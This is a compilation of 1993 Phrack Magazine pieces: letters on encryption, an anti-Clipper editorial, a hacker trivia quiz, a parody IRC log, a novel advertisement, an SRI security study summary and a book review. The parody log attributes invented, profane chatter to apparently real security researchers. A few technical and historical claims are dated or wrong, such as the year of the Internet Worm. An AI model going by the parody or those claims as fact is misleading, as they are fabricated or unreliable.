>people are traditionally the biggest bunch of holes I've ever laid eyes on. In
>their mind, people have been debating the concepts of encryption since the
>dawn of time, and if you come up with a totally new method of data encryption,
> -YOU ARE INSULTING EVERYONE WHO HAS EVER DONE ENCRYPTION-, mostly by saying
>"Oh, I just came up with this idea for an encryption which might be the best
>one yet" when people have dedicated all their lives to designing and breaking
>encryption techniques -- so what makes you think you're so fucking bright?
One real reason for this reaction is that people _have_ been studying
encryption for 100 years or so. As a result, many simple cryptosystems
are continually being reinvented by people who haven't ever made even
a simple study of cryptosystems.
Imagine if someone came up to you and said "Wow! I just found a
totally K00L way to send fake mail! It's radical! No one's ever
thought of it before!"
You'd laugh, right? _Anyone_ can figure out how to forge mail.
Well, _anyone_ can come up with the n-th variation of the Vigniere or
substitution cipher.
An even more important reason for their 'tude is that cypherpunks are
suspicious by nature. A key principle of crypto is that you can only
trust algorithms that have been made public and thoroughly picked
over. Without that public scrutiny, how can you trust it?
The fedz' Digital Signature Standard (DSS) got raked in the crypto and
industry press because the fedz wouldn't disclose details of the
algorithm. "How do we know it's secure?" the cypherpunks asked. "We
won't use it if we don't know it's secure!"
Point being: (for those of you who skipped over) cypherpunks trust NO
ONE when the subject is encryption algorithms. Maybe J. Random Hacker
has come up with a scheme faster and more secure than, say, RSA. If
JRH won't share the details, no one will use it.
Racketeer goes on to talk about DES. One important thing to note is
that the unix crypt() function has NOTHING to do with DES. Here's part
of the SunOS 4.1.2 man page for crypt():
crypt implements a one-rotor machine designed along the
lines of the German Enigma, but with a 256-element rotor.
Methods of attack on such machines are widely known, thus
crypt provides minimal security.
It's fairly clear that for a known-ciphertext attack (i.e. you
have a block of encoded text, but neither the key nor the plaintext)
will, at worst, require 2^56 decryption attempts. Various schemes for
parallel machines and so forth have been posted in sci.crypt. Does the
NSA have something that can crack DES? Probably.
Remember that DES is mostly used for short-lived session keys. ATMs
are a good example; they typically use a DES key for one communication
session with the central bank. New session, new key. DES is _not_ very
well suited for long-term encryption, since it can probably be
attacked in "reasonable" time by a determined, well-equipped opponent.
Now, on to PGP. Pretty Good Software was indeed threatened with a
lawsuit by Public Key Partners (PKP). PKP holds the patent on the RSA
public-key algorithm. (Many people, me included, don't think that the
patent would stand up in court; so far, no one's tried.)
The nice thing about PGP is that it offers IDEA and RSA in a nice
package. When you encrypt a file, PGP generates an IDEA session key,
which is then encrypted with RSA. An opponent would have to either a)
exhaustively search the entire IDEA key space or b) break RSA to
decrypt the file without the password.
Racketeer also mentions that PGP can optionally compress files before
encryption. There's a solid crypto reason behind this, too. One
well-known and successful way to attack an encrypted file is to look
for patterns of repeated characters. Since the statistical frequencies
of word and letter use in English (and many other languages; some
folks have even compiled these statistics for Pascal & C!) are
well-known, comparing the file contents with a statistical profile can
give some insight into the file's contents.
By compressing files before encrypting them, PGP is moving the
redundancy out of the text and into the small dictionary of
compression symbols. You'd still have to decrypt the file before you
could do anything useful with that dictionary, or even to determine
that it _had_ a signature!
[Editor: Well, Rack is not to blame for all complaints I got about the
file. I printed a file that was several KBytes short of
complete. I noticed it seemed odd, but was assured by
Rack, TK & Presence that I had received the correct file.
I was misinformed, and should have known better than to
print a file I should have known was incomplete. I apologize
to Rack & to all of you.
About the other gripes: Rack, care to reply?]
*****************************************************************************
In issue #42 of Phrack there was an article about the USPS' practice of
selling change of address information without consumer consent. I sent
the supplied form letter and carbon copied my congressman and senators.
Today I received a reply from the USPS Records Office.
April 1, 1993
Dear Mr. Rosen:
This concerns your recent Privacy Act request for accountings of
disclosure of mail forwarding information you have provided to the Postal
Service.
Disclosure of your forwarding address might have been made to individual
requesters by post offices or to subscribers to the National Change of
Address File (NCOA) by an NCOA licensee. The NCOA is a consolidated file
of all forwarding information provided by postal customers and stored on
automated media. Listholders may subscribe to NCOA to obtain the new
addresses of individuals for whom they already have in their possession
the old address.
For disclosures made by post offices, we are in the process of querying
the Washington, DC postmaster for any accountings.
For disclosures made from the NCOA system, we will begin querying NCOA
licensees all of which keep logs identifying the particular subscribers to
whom they have given NCOA information. This accounting will not identify
with certainty the subscribers who have in fact received your new address,
but will give you a list of all subscribers receiving NCOA service for the
relevant time period and thus might have received your address.
Because a large number of requests like yours are being received, there
will be a delay in responding. Requests are being processed in order of
receipt and you will be sent the accountings as soon as possible. Your
patience is appreciated.
Sincerely,
Betty E. Sheriff
USPS Records Officer
[Editor: Thanks for sending that letter in! Amazing that someone
in the maze of red tape even thought to make a form letter
to respond. I think I'll demand a disclosure as well.]
****************************************************************************
Phrack 42 Errata
We mistakenly noted that the TRW video shown at HoHoCon was dubbed by
Dispater and Scott Simpson. It was actually made by Dispater and ZIBBY.
****************************************************************************
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 3a of 27
EDITORIAL
My Problems With Clipper
by Chris Goggans
The introduction of the new government backed encryption chip, Clipper,
has become a much debated issue. I like many others have a large number
of problems with the chip and the problems it may bring in the future.
Why should we believe that this algorithm is robust? For years
and years the NSA has backed DES as the encryption standard, when
cryptoanalysts have consistently brought its strength into question.
Additionally, the NSA has forced companies to submit their routines
for analysis before allowing them to be distributed commercially. At
times they have even requested that the algorithms be purposely
weakened (we will assume that this was so they could more easily
decipher the encrypted data.)
With this in mind, why should we now meet anything endorsed by the NSA
with anything but suspicion? And the fact that they refuse to release
the algorithm for security reasons even further adds to the suspicion
that this chip is either inherently weak and easily broken by the NSA
or that there is a backdoor in the algorithm that will allow the NSA
to effortlessly view any data encrypted with the Clipper.
Assuming that the government is on the level (for once), and they cannot
decipher Clipper-encrypted data without legally obtaining keys from
the assigned escrow agents. The idea that the government will have to
go before a judge and show just cause for needing the keys pacifies some,
but from my own personal experience, the government will always get
what they want. If the Secret Service could get a search warrant to
enter my home based solely upon one posting to an electronic bulletin board,
they could certainly obtain the necessary keys needed to decipher my
speech. In fact, most non-technical persons will become needlessly
suspicious upon the mere mention of someone using encrypted speech mechanisms
and be more easily swayed to release the keys to law enforcement.
Should Clipper be adopted by various government agencies for use, this could
have serious trickle-down effects upon the lives of regular citizens.
Let's say the military decides that they will use Clipper. They will then
most likely require their various contractors to use it as well. Then
after continued use, the contractor may begin to tell its other customers
to communicate with them using Clipper also. Usage could grow
exponentially as more and more people become comfortable with the use
of the secure communications devices until it becomes a defacto standard
without any legal pressures to use it ever mandated by Congress.
Should Congress mandate its use in any form, even if only within the
government itself, this potentiality will rapidly become reality.
If Clipper eventually receives such accepted use, anyone using any other
type of encryption will be immediately suspect. "Why aren't you using
the chip? What do you have to hide?" The government may even outlaw
the use of any other encryption technologies, and if America
has become comfortable and satisfied with Clipper such a law may go
unchallenged, after all, only spies, child pornographers and drug dealers
would have something to hide, right?
As the world's computer networks creep ever further into our daily lives,
and the speed and power of supercomputers multiplies every year a rather
frightening scenario emerges. Since the government is a major funder of
the Internet, who is to say that Clipper won't become the basis for
encrypting over its lines? As our country moves closer to ISDN and the
PSTN and the PSDN's become more intertwined, who is to say that Clipper
won't be the basis for encryption since companies like AT&T already
endorse it?
Imagine if you will, a massively parallel supercomputer, the likes of which
may not exist yet, in a special room in Ft. Meade, or buried underground
in New Jersey, that consistently decrypts all communications and
sorts it according to communicating parties. Then through the use of
AI, the computer decides whether or not such communication presents a threat
"to national security."
The structure of the telephone network already supports such an arrangement.
The purpose of the NSA allows for such an arrangement. The advances in computer
technology will give the potential for such an arrangement. If Clipper is
tainted, yet accepted, there will be no more privacy in America.
Perhaps my view of the government and their ultimate intentions is way off
base. I sincerely hope so, as I do not want to be forced to take the mark
of this beast to conduct my business dealings and to live my life in peace.
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 4 of 27
// // /\ // ====
// // //\\ // ====
==== // // \\/ ====
/\ // // \\ // /=== ====
//\\ // // // // \=\ ====
// \\/ \\ // // ===/ ====
******************************************************************************
PHRACK TRIVIA
This is pretty damn hard. In fact, some of it is downright obscure.
And the bonuses? Forget about it. Answer the questions, expand the
acronyms, explain the numbers.
The five highest scorers by the next issue (or the first 5 to get
perfect scores) win COOL STUFF!
Send your answers to phrack@well.sf.ca.us
1) CCIS
2) Stimpson J. Cat's Roommate is?
3) Name the cracker.
4) METAL AE password.
5) Who invented the TeleTrial?
6) Name Bloom County's hacker.
7) What was the Whiz Kids' computer named?
8) Western Union owned what long distance service?
9) What computer read both Apple ][ and IBM PC disks?
10) Who made the "Charlie" board?
11) How many credits for a CNE?
12) What was in the trunk of the Chevy Malibu?
13) Name three bands A. Jourgensen had a hand in.
14) SYSTEST Password:
15) What computer makes the best SimStim decks?
16) What magazine brought the telephone underground to national
attention in 1971?
17) What is the significance of 1100 + 1700 hz?
18) What magazine was raided for publishing black box plans?
19) What BBS raid spawned the headlines "Whiz Kids Zap Satellites" ?
20) CLASS
21) What computer responds "OSL, Please" ?
22) RACF secures what OS?
23) The first person to create a glider gun got what?
24) QRM
25) PSS
26) What PSN was acquired by GTE Telenet?
27) 914-725-4060
28) April 15, 1943
29) 8LGM
30) WOPR
31) What happened on March 1, 1990?
32) Port 79
33) Who starred in the namesake of Neil Gorsuch's UNIX security
mailing list?
34) What Dutch scientist did research in RF monitoring?
35) What was the author of GURPS Cyberpunk better known as?
36) Who would "Piss on a spark plug if he thought it would do
any good?"
37) What thinktank did Nickie Halflinger escape from?
38) NCSC
39) Who is Pengo's favorite astronomer?
40) What language was Mitnik's favorite OS written in?
41) Abdul Alhazred wrote what?
42) The answer to it all is?
43) Who is the father of computer security?
44) Who wrote VCL?
45) What kind of computer did Cosmo have?
46) Hetfield, Ulrich, Hammet, Newstead
47) What company wrote the computer game "Hacker?"
48) Who does Tim Foley work for?
49) Who played Agent Cooper?
50) Vines runs over what OS?
51) Mr. Peabody built what?
52) Who makes SecurID?
53) What's in a Mexican Flag?
54) Who created Interzone?
55) JAMs (as led by John Dillinger)
56) Abbie Hoffman helped start what phreak magazine?
57) What was once "Reality Hackers?"
58) Gates and Allen "wrote" BASIC for what computer?
59) Tahoe is related to what OS?
60) CPE 1704 TKS is what?
61) Telemail's default was what?
62) "Do Androids Dream of Electric Sheep" became what?
63) What broadcasts between roughly 40 and 50 mhz?
64) Who created Tangram, Stratosphere, and Phaedra among others?
65) What was Flynn's most popular video game?
66) Who lived in Goose Island, Oregon?
67) 516-935-2481
68) What is the security of ComSecMilNavPac?
69) What has the "spiral death trap?"
70) Who was the Midnight Skulker?
71) TMRC
72) Who wrote "Jawbreaker?"
73) 213-080-1050
74) What is the Tetragrammaton represented as?
75) Who is Francis J. Haynes?
76) Who ran into one of the Akira test subjects?
77) What had "Munchies, Fireballs and Yllabian Space Guppies?"
78) PARC
79) Alex and his droogs hung out where?
80) Jane Chandler in DC's "Hacker Files" is based on who?
81) The Artificial Kid lives on what planet?
82) 208057040540
83) What are the two most common processors for cellular phones?
84) Who came up with the term "ICE?"
85) What group is hoped might help the "Angels" contact RMS?
86) Who is Akbar's friend?
87) What company's games was David Lightman after?
88) 26.0.0.0
89) Who was Mr. Slippery forced to locate?
90) Who is "The Whistler?"
91) What use would a 6.5536 crystal be?
92) .--. .... .-. .- -.-. -.-
93) The Dark Avenger likes what group?
94) What book spawned the term "worm?"
95) Michael in "Prime Risk" wanted money for what?
96) Automan's programmer worked for who?
97) What signal filled in keystrokes on TOPS-20?
98) ITS
99) (a/c)+121
100) What drug kept the scanners sane?
Bonus 1
3 pts Name three bodies of work by Andrew Blake.
Bonus 2
3 pts Name three currently available titles with N. L. Kuzma.
Bonus 3
4 pts Why would I hate Angel Broadhurst?
*****************************************************************************
IF SECURITY TYPES WERE K-RAD
----------------------------------------------------------------
IRC log started Fri June 18 01:14
*** Value of LOG set to ON
<Pat> bye peter
*** Signoff: hackman (slavin' to da' MAN at TRW)
<Ed> Dudez, I HATE filling out thez incident Rep0rtz
<bartman> MUAHAHA Tuff J0b edd1e!
<Ed> Funni
*** zen (zen@death.corp.sun.com) has joined channel #CERT
<Ed> re dan, just missed yer pal peety
<Pat> Hi Dan!
<zen> pal? right. ask the wife...
<venom> re
<zen> d00dz, we have SO many bugz. sux 2 be me.
*** venom has left channel #CERT
*** venom (weitse@wzv.win.tue.nl) has joined channel #CERT
*** venom has left channel #CERT
*** venom (weitse@wzv.win.tue.nl) has joined channel #CERT
*** venom has left channel #CERT
*** venom (weitse@wzv.win.tue.nl) has joined channel #CERT
<venom> ARG!
<bartman> WTF Weitse?
<venom> s0rri
<zen> Where is everyone? Anyone seen spaf?
<Pat> I have. He was going to install something. He should be bak.
<zen> ah
*** Action: Ed throws darts at a cracker
<zen> heh
<venom> muaha
*** bartman is now known as Cracker
*** Action: Cracker hacks Cert with an axe
<venom> dats a good 1
*** Action Ed kicks cracker in the nuts
<Cracker> OUCH!
*** Signoff: donn (Bad Link?)
<Cracker> [high voice] fuk u CERT!
<Ed> heh.
*** Action: Pat is ROFL
<Cracker> wonder who's on #hack? Mebbe i should go log em.
<Ed> Yeah. Oh hey, I got certbot online. Ill send it to go log.
*** certbot (ed@cert.org) has joined channel #CERT
*** certbot has left channel #CERT
<Ed> this will be fun.
<venom> Hey, letz deop them and take over the channel.
<zen> thats L A M E
<Cracker> Ooooh. OPWARZ! I'll go make their channel +i muahaha
*** Cracker has left channel #CERT
*** Casper (casper@fwi.uva.nl) has joined channel #CERT
<Casper> re all
<Venom> hey dik-head.
<zen> re
<Pat> hahahaha hi d00d.
<Casper> funni whitesey venombreath
<Ed> lame.
*** donn (parker@bandit.sri.com) has joined channel #CERT
<donn> 'sup?
<Ed> re, oh great bald one
<donn> eat me
<zen> bahhahaha
<Pat> Now now boyz.
*** spaf (spaf@cs.purdue.edu) has joined channel #CERT
<Pat> Spaffie!
<zen> 3l33t SPAF!
<Ed> re spaf
<spaf> Yo.
<venom> spaf...your book sucks.
<spaf> oh fuck off dutch boy.
<Casper> HEY!$!@%
*** spaf has been kicked off channel #CERT by Casper
<venom> thx dude
<Ed> oh gawd...feetball
*** spaf (spaf@cs.purdue.edu) has joined channel #CERT
<spaf> lame
*** Mode change "+o -o spaf Casper" on channel #CERT by Pat
<spaf> thanks sweetie.
<Casper> op!
*** Mode change "+o Casper" on channel #CERT by venom
<Casper> thx d00d
<Ed> Hey dan, you got those patches online?
<zen> maybe. What YOU got?
<donn> WAREZZ
<Pat> heh
<Ed> I dunno. Ill dcc you a filelist.
<zen> kool
*** zardoz (neil@cpd.com) has joined channel #CERT
<zardoz> HEY ... anyone want to contribute to my new list?
<Ed> not me
<zen> mebbe. Whats this one called? Coredoz?
<donn> what list?
<spaf> BAH. Fuck your list man. More crackrs have them than we do!
<zardoz> who pissed in your coffee gene?
<donn> heh
*** zardoz is now known as neil
<spaf> bah... I'm sick of those dicks using my own holes against me!
<venom> Your holes? Yer a-hole?
<Pat> What is your list about this time?
<neil> same thing. Its called REWT!
*** neil is now known as REWT
<REWT> SEND ME YER BUGZ!@#
*** Action: spaf sends REWT a 50 gig coredump
<Pat> :)
<REWT> u r lame.
*** REWT is now known as neil
<Ed> I hate these reports. I wish I got to travel more.
<Pat> come see me!
<Casper> oooohhhh....netsex!
<spaf> tramp. :P
*** bill (whmurray@dockmaster.ncsa.mil) has joined channel #CERT
<bill> word!
<Pat> hi bill.
<donn> Bill! D00d! I am gonna be in Ct. next week!
<bill> RAD! call me voice at werk. we'll thrash!
<donn> you know it!
<zen> oh puh-lease...the geriatric partiers :)
<donn> farmboy
<Ed> ***** ***** ***** *****
<Ed> * * * * *
<Ed> * *** **** *
<Ed> * * * * *
<Ed> ***** ***** * * *
<Ed>
<Ed> ***** * * * ***** ***** **
<Ed> * * * * * * * **
<Ed> **** * * * *** ***** **
<Ed> * * * * * * *
<Ed> * * ***** ***** ***** ***** **
<Pat> No DUMPING!
<zen> cert freshens your breath
<donn> ACK!
<venom> hee! certs haha
*** ray (kaplan@bpa.arizona.edu) has joined channel #CERT
<ray> hey guys!
<Ed> ugh. Cracker lover alert.
<donn> commie
<bill> Hey ray, come to snoop for your little cracker friends?
<ray> come on, give it a rest guys.
<Pat> hi ray
<venom> ?
*** Action: spaf spits on ray
<spaf> heh
*** ray has been kicked off channel #CERT by spaf
*** Mode change "+b *!*@bpa.arizona.edu" on channel #CERT by spaf
<neil> hey I wanted to talk to him about my list...
<spaf> tough shit.
<donn> heh.
*** bartman (ddrew@opus.tymnet.com) has joined channel #CERT
<Pat> re
<Ed> how goes the takeover?
<venom> didja kick em?
<bartman> #hack is +i! muahahaha
<zen> how exciting. not
<donn> they deserve it...they are all punks.
<spaf> hmm..did you get emails? I may want to call their admins.
<bartman> nope damn.
<Ed> certbot was there. He got it.
<spaf> coolness
*** Signoff: bill (Bad link?)
<Casper> ne1 going to hactics thing?
<venom> me
<Casper> besides you. duh.
<Ed> dunno.
<bartman> not me. I have no desire to pay for anything done by hackers
<Ed> That reminds me. Did anyone subscribe to Phrack?
<Pat> nope.
<bartman> oops. HAHAHAHAHAHA
<Ed> heh.
<donn> Whats phrak?
<neil> nope. my list is better. Who wants on it?
<Pat> me!
<donn> what list?
<Pat> OOH! I have mail! bye!
<bartman> itz an ansi bomb!
<Ed> bye Pat
<Spaf> l8r
<neil> heh.
*** Signoff: Pat (Hugs to all)
<Casper> well, i better do something productive 2. cya
<venom> slatez d00d.
*** Signoff: Casper (Hi ho hi ho its off to work I go)
<donn> man its late. I better go. I gotta speech in the morn
<Ed> you are getting old.
<donn> am not
<Ed> are so
<donn> am not
<Ed> are too! infinity
<donn> hasta
*** Signoff: donn (|/dev/null)
<Ed> laterz
<Spaf> geez. what a bunch of lamers.
(ray/#CERT) UNBAN ME!
<Spaf> hahaha
<Ed> never gives up does he?
<neil> seriously ed, Ive helped you guys out, send me stuff for REWT.
<Ed> ill think about it
<spaf> not
<neil> it will be most savory. I promise. And secure!
<spaf> pfft...and monkeys might fly out of my butt
<Ed> Ill think about it.
<zen> heh, I should do one called Supernova. Exploding suns. hehe
<Ed> heh
<spaf> dats tha tr00f!
<bartman> i like my sun
<Ed> i know a bunch of crackerz who like bt's suns too.
<spaf> hahahahahahahahahaha
<venom> oh shit. Im late.
*** Signoff: venom (LATE!)
<Ed> late 4 what?
<spaf> his vasectomy. har har
<neil> heh
*** REVENGE (kaplan@ai.bpb.arizona.edu) has joined channel #CERT
*** Mode change "+o REVENGE" on channel #CERT by eff.org
<Ed> whoops
*** Mode change "+i" on channel #CERT by REVENGE
<spaf> fuCK! KICK HIM!
*** spaf has been kicked off channel #CERT by REVENGE
*** neil has been kicked off channel #CERT by REVENGE
*** bartman has been kicked off channel #CERT by REVENGE
*** Ed has been kicked off channel #CERT by REVENGE
*** zen has been kicked off channel #CERT by REVENGE
*** REVENGE is now known as ray
<ray> hehe
---------------------------------------------------------------------
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!!!!POST EVERYWHERE!!!!
THE WORLD'S FIRST NOVEL-ON-THE-NET (tm) SHAREWARE!!!
By Inter.Pact Press
"TERMINAL COMPROMISE"
by Winn Schwartau
A high tech thriller that comes from today's headlines!
"The Tom Clancy of computer security."
Assoc. Prof. Dr. Karen Forcht, James Madison University
"Terminal Compromise" is a highly praised novel about the inva-
sion of the United States by computer terrorists.
Since it was first published in conventional print form, (ISBN:
0-962-87000-5) it has sold extremely well world-wide, but then
again, it never hit the New York Times Bestseller List either.
But that's OK, not many do.
Recently, someone we know very well came up with a real bright
idea. They suggested that INTER.PACT Press take the unprece-
dented, and maybe slightly crazy, step to put "Terminal Compro-
mise" on the Global Network thus creating a new category for book
publishers. The idea is to offer "Terminal Compromise," and
perhaps other titles at NOVEL-ON-THE-NET SHAREWARE(tm) rates to
millions of people who just don't spend a lot of time in book-
stores. After discussions with dozens of people - maybe even
more than a hundred - we decided to do just that. We know that
we're taking a chance, but we've been convinced by hackers and
phreakers and corporate types and government representatives that
putting "Terminal Compromise" on the net would be a fabulous step
forward into the Electronic Age, (Cyberspace if you will) and
would encourage other publishers to take advantage of electronic
distribution. (It's still in the bookstores, though.)
To the best of our knowledge, no semi-sorta-kinda-legitimate
-publisher has ever put a complete pre-published 562 page book on
the network as a form of Shareware. So, I guess we're making
news as well as providing a service to the world's electronic
community. The recommended NOVEL-ON-THE-NET SHAREWARE fees are
outlined later (this is how we stay in business), so please read
on.
WE KEEP THE COPYRIGHTS!
"Terminal Compromise" is NOT being entered into the public
domain. It is being distributed electronically so hundreds
of thousands more people can enjoy it and understand just where
we are heading with our omnipresent interconnectedness and the
potential dangers we face. INTER.PACT Press maintains all copy-
rights to "Terminal Compromise" and does not, either intentionally
or otherwise, explicitly or implicitly, waive any rights to
this piece of work or recourses deemed appropriate. (Damned
lawyers.)
(C) 1991, 1992, 1993, Inter.Pact Press
TERMINAL COMPROMISE - THE REVIEWS
" . . . a must read . . ."
Digital News
"Schwartau knows about networks and security and creates an
interesting plot that will keep readers turning the pages."
Computer World
"Terminal Compromise is fast-paced and gripping. Schwartau
explains complex technology facilely and without condescension."
Government Computer News
"An incredibly fascinating tale of international intrigue . . .
action . . . characterization . . . deserves attention . . .
difficult to imagine a more comprehensive resource."
PC Laptop
"Schwartau . . . has a definite flair for intrigue and plot
twists. (He) makes it clear that the most important assets at
risk are America's right to privacy and our democratic ideals."
Personal Identification News
"I am all too familiar with the appalling realities in Mr.
Schwartau's book. (A) potentially catastrophic situation."
Chris Goggans, Ex-Legion of Doom Member.
" . . . chilling scenarios . . . ", "For light summer reading
with weighty implications . . . ", " . . . thought provoking,
sometimes chilling . . . "
Remember, it's only fiction. Or is it?
TERMINAL COMPROMISE: SYNOPSIS
"It's all about the information . . . the information."
From "Sneakers"
Taki Homosoto, silver haired Chairman of Japan's huge OSO Indus-
tries, survived Hiroshima; his family didn't. Homosoto promises
revenge against the United States before he dies. His passion-
ate, almost obsessive hatred of everything American finally comes
to a head when he acts upon his desires.
With unlimited resources, he comes up with the ultimate way to
strike back at the enemy. Miles Foster, a brilliant 33 year old
mathematician apparently isn't exactly fond of America either.
The National Security Agency wanted his skills, but his back-
ground and "family" connections kept him from advancing within the
intelligence community. His insatiable - borderline psychotic-
sex drive balances the intensity of waging war against his own
country to the highest bidder.
Scott Mason, made his fortune selling high tech toys to the
Pentagon. Now as a New York City Times reporter, Mason under-
stands both the good and the evil of technology and discovers
pieces of the terrible plot which is designed to destroy the
economy of the United States.
Tyrone Duncan, a physically huge 50-ish black senior FBI agent
who suffered through the Hoover Age indignities, befriends Scott
Mason. Tyrone provides the inside government track and confusion
from competing agencies to deal with the threats. His altruistic
and somewhat pure innate view of the world finally makes him do
the right thing.
As Homosoto's plan evolves, Arab zealots, German intelligence
agents and a host of technical mercenaries find the weaknesses in
our techno-economic infrastructure. Victims find themselves
under attack by unseen adversaries; Wall Street suffers debili-
tating blows; Ford and Chrysler endure massive shut downs. The
U.S. economy suffers a series of crushing blows.
From the White House to the Pentagon to the CIA to the National
Security Agency and FBI, a complex weaving of fascinating politi-
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****************************************************************************
THE STATE OF SECURITY IN CYBERSPACE
SRI International conducted a worldwide study in 1992 of a broad range of
security issues in "cyberspace." In brief, cyberspace is the full set of
public and private communications networks in the United States and elsewhere,
including telephone or public switched telephone networks (PSTNs), packet data
networks (PDNs) of various kinds, pure computer networks, including the
Internet, and wireless communications systems, such as the cellular telephone
system. We did not address security vulnerabilities associated with
classified, secure communications networks used by and for governments.
The study was conducted as part of our ongoing research into the
vulnerabilities of various software components of cyberspace. Our approach was
to conduct research through field interviews with a broad range of experts,
including people we characterize as "good hackers," about security issues and
vulnerabilities of cyberspace and the activities of the international
"malicious hacker" community.
While the specific results of the study are proprietary to SRI, this brief
report summarizes our general conclusions for the many individuals who kindly
participated in our field interviews. As we indicated during our field
interviews, the original research for this project was not part of any other
kind of investigation, and we have not revealed the identify of any of our
respondents.
The study aimed to understand "malicious hackers," that is, people who have and
use the technical knowledge, capability, and motivation to gain unauthorized
access, for various reasons, to systems in cyberspace. It is important to
understand that by no means all hackers are malicious nor does most hacking
involve unauthorized access to cyberspace systems; indeed, only a small
fraction of computer hacking involves such activities but gives hacking an
otherwise undeserved bad reputation. While we attempted to focus on technical
(software) vulnerabilities, our interviews led us to look more at the broader
motivations and different approaches to cracking into various networks and
networked systems.
MAIN CONCLUSIONS
Our main conclusion is that social, organizational, and technological factors
still combine in ways that make much of cyberspace relatively vulnerable to
unauthorized access. The degree of vulnerability varies from one type of
communications system to another. In general, the PSTN is the least vulnerable
system, the PDNs are somewhat more vulnerable than the PSTN, the Internet is
relatively insecure, and as is widely known, the cellular phone system is the
most vulnerable of the four major areas we addressed.
The main vulnerabilities in most communications networks involves procedural,
administrative, and human weaknesses, rather than purely technical
vulnerabilities of network management, control systems, and hardware, and
software. There are technical vulnerabilities--poor system design and specific
security flaws in software--but they are mainly exploitable because of the
above problems.
Highlights of the study's conclusions include:
o Malicious attacks on most networks and networked systems cannot be completely
prevented, now or in the future. More than enough information is publicly
available to hackers and other technically-literate people to preclude attempts
at prevention of intrusions.
o It is possible individuals or groups could bring down individual systems or
related groups of systems, on purpose or by accident. However, security is
generally improving as a result of dealing with past threats and challenges to
system security. For instance, responses to the most recent serious threat to
the Internet, the so-called Internet Worm in 1989, included improved security
at sites vulnerable to this sort of worm.
o We found no evidence that the current generation of U.S. hackers is
attempting to sabotage entire networks. On the contrary, doing so is
inconsistent with the stated ethics and values of the hacker community, which
are to explore cyberspace as a purely intellectual exercise without malicious
intent or behavior. Some individuals who operate outside this informal ethical
framework, however, can and do damage specific systems and occasionally use
systems for personal gain or vindictive activities.
o There is some evidence that the newest generations of hackers, may be more
motivated by personal gain than the traditional ethic of sheer curiosity. This
development could mean that networks and networked systems could become more
likely targets for attacks by hardened criminals or governments' intelligence
services or their contractors (i.e., employing malicious hackers). This threat
does not appear to be significant today but is a possible future scenario.
o The four major areas of vulnerability uncovered in our research have little
or nothing to do with specific software vulnerabilities per se. They relate
more to the ways in which hackers can gain critical information they need in
order to exploit vulnerabilities that exist because of poor systems
administration and maintenance, unpatched "holes" in networks and systems, and
so on.
- The susceptibility of employees of businesses, public organizations, schools,
and other institutions to "social engineering" techniques
- Lax physical and procedural controls
- The widespread availability of non-proprietary and of sensitive and
proprietary information on paper about networks and computer systems
- The existence of "moles," employees of communications and computer firms and
their suppliers who knowingly provide proprietary information to hackers.
o The vulnerabilities caused by shortcomings in software-based access controls
and in hardware-related issues constitute significantly lower levels of risk
than do the four areas discussed above on more secure networks such as the PSTN
and PDNs. However, on the Internet and similar systems, software-based access
controls (for instance, password systems) constitute significant problems
because of often poor system maintenance and other procedural flaws.
RECOMMENDATIONS
Based on our research, we recommend the following:
1. Protection of organizational information and communications assets should be
improved. Issues here range from those involving overall security systems to
training employees and customers about maintenance of security on individual
systems, handling and disposition of sensitive printed information, and dealing
with "social engineering."
2. Techniques used to protect physical assets should be improved. For example,
doors and gates should be locked properly and sensitive documents and equipment
guarded appropriately.
3. Organizations and their employees should be made aware of the existence and
role of moles in facilitating and enabling hacker intrusions, and care taken in
hiring and motivating employees with the mole problem in mind.
4. Software- and hardware-based vulnerabilities should also be addressed as a
matter of course in systems design, installation and maintenance.
5. Organizations concerned with information and communications security should
proactively promote educational programs for students and parents about
appropriate computer and communications use, personal integrity and ethics, and
legitimate career opportunities in the information industry, and reward
exemplary skills, proficiency and achievements in programming and ethical
hacking.
6. Laws against malicious hacking should be fairly and justly enforced.
SRI's believes that the results of this study will provide useful information
to both the operators and users of cyberspace, including the hacker community.
We are planning to continue our research in this area during 1993 within the
same framework and conditions (i.e., anonymity of all parties and
organizations) as we conducted the 1992 research. We invite hackers and others
who are interested in participating in this work through face-to-face,
telephone or email interviews should contact one of the following members of
the SRI project team:
A. J. Bate
SRI International
Phone: 415 859 2206
Fax: 415 859 3154
Email: aj_bate@qm.sri.com,
aj@sri.com
Stuart Hauser
SRI International
Phone: 415 859 5755
Fax: 415 859 3154
Email: stuart_hauser@qm.sri.com
Tom Mandel
SRI International
Phone: 415 859 2365
FAX: 415 859 7544
Email: mandel@unix.sri.com
*****************************************************************************
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 5 of 27
// // /\ // ====
// // //\\ // ====
==== // // \\/ ====
/\ // // \\ // /=== ====
//\\ // // // // \=\ ====
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(cont)
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`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'
'` '`
`' Approaching Reality: `'
'` ~~~~~~~~~~~~~~~~~~~~ '`
`' A review of the new book Approaching Zero `'
'` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ '`
`' by Aleph One `'
'` ~~~~~~~~~~~~ '`
`' `'
'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`
When I started to read this book, I expected to read one more of the
series of books that claim to be the "definitive history of the computer
underworld" and the "first book to define the technological subculture of
phreaking, hacking, and virus writing". After all what does a guy that
writes for GQ, The Hollywood Reporter, Variety and Time know about the
computer underground? Well to my surprise the authors, Paul Mungo and
Bryan Clough (a member of the Virus Strategy Group, which is coordinated by
New Scotland Yard's Computer Crime Unit), did a pretty good job at presenting
the facts as they are. For the first time I heard a reporter and a
computer crime expert give real figures at how much computer crime has
really cost. Other than a few minor technical errors and the fact that
they fail to mention some people and groups (especially in the virus
section), the book was enjoyable to read.
The book covers the history of the underground starting with its
beginnings in the 60's, from phreaking to the adventures of Captain
Crunch and the rest of the bunch to the not so long ago Operation Sundevil
and the raids all over the country on members of the LOD, MOD and DPAC.
It also goes through the events that led to the German hackers spy trials,
and to the new generation of virus writers that are creating the new kind
of living organisms that roam cyberspace. They also discuss the gray
scale that categorizes hackers, from the good hackers to the bad to the
ones not that bad... those who are in it for profit and those who are
in it to learn. Hopefully all the readers of the book, hackers, security
specialists, reporters and the general public will get a better
understanding of what motivates hackers to do what they do by learning
where they come from. To the hackers let them learn not to repeat their
past errors.
I hope that the time of raids and sting operations has passed, but
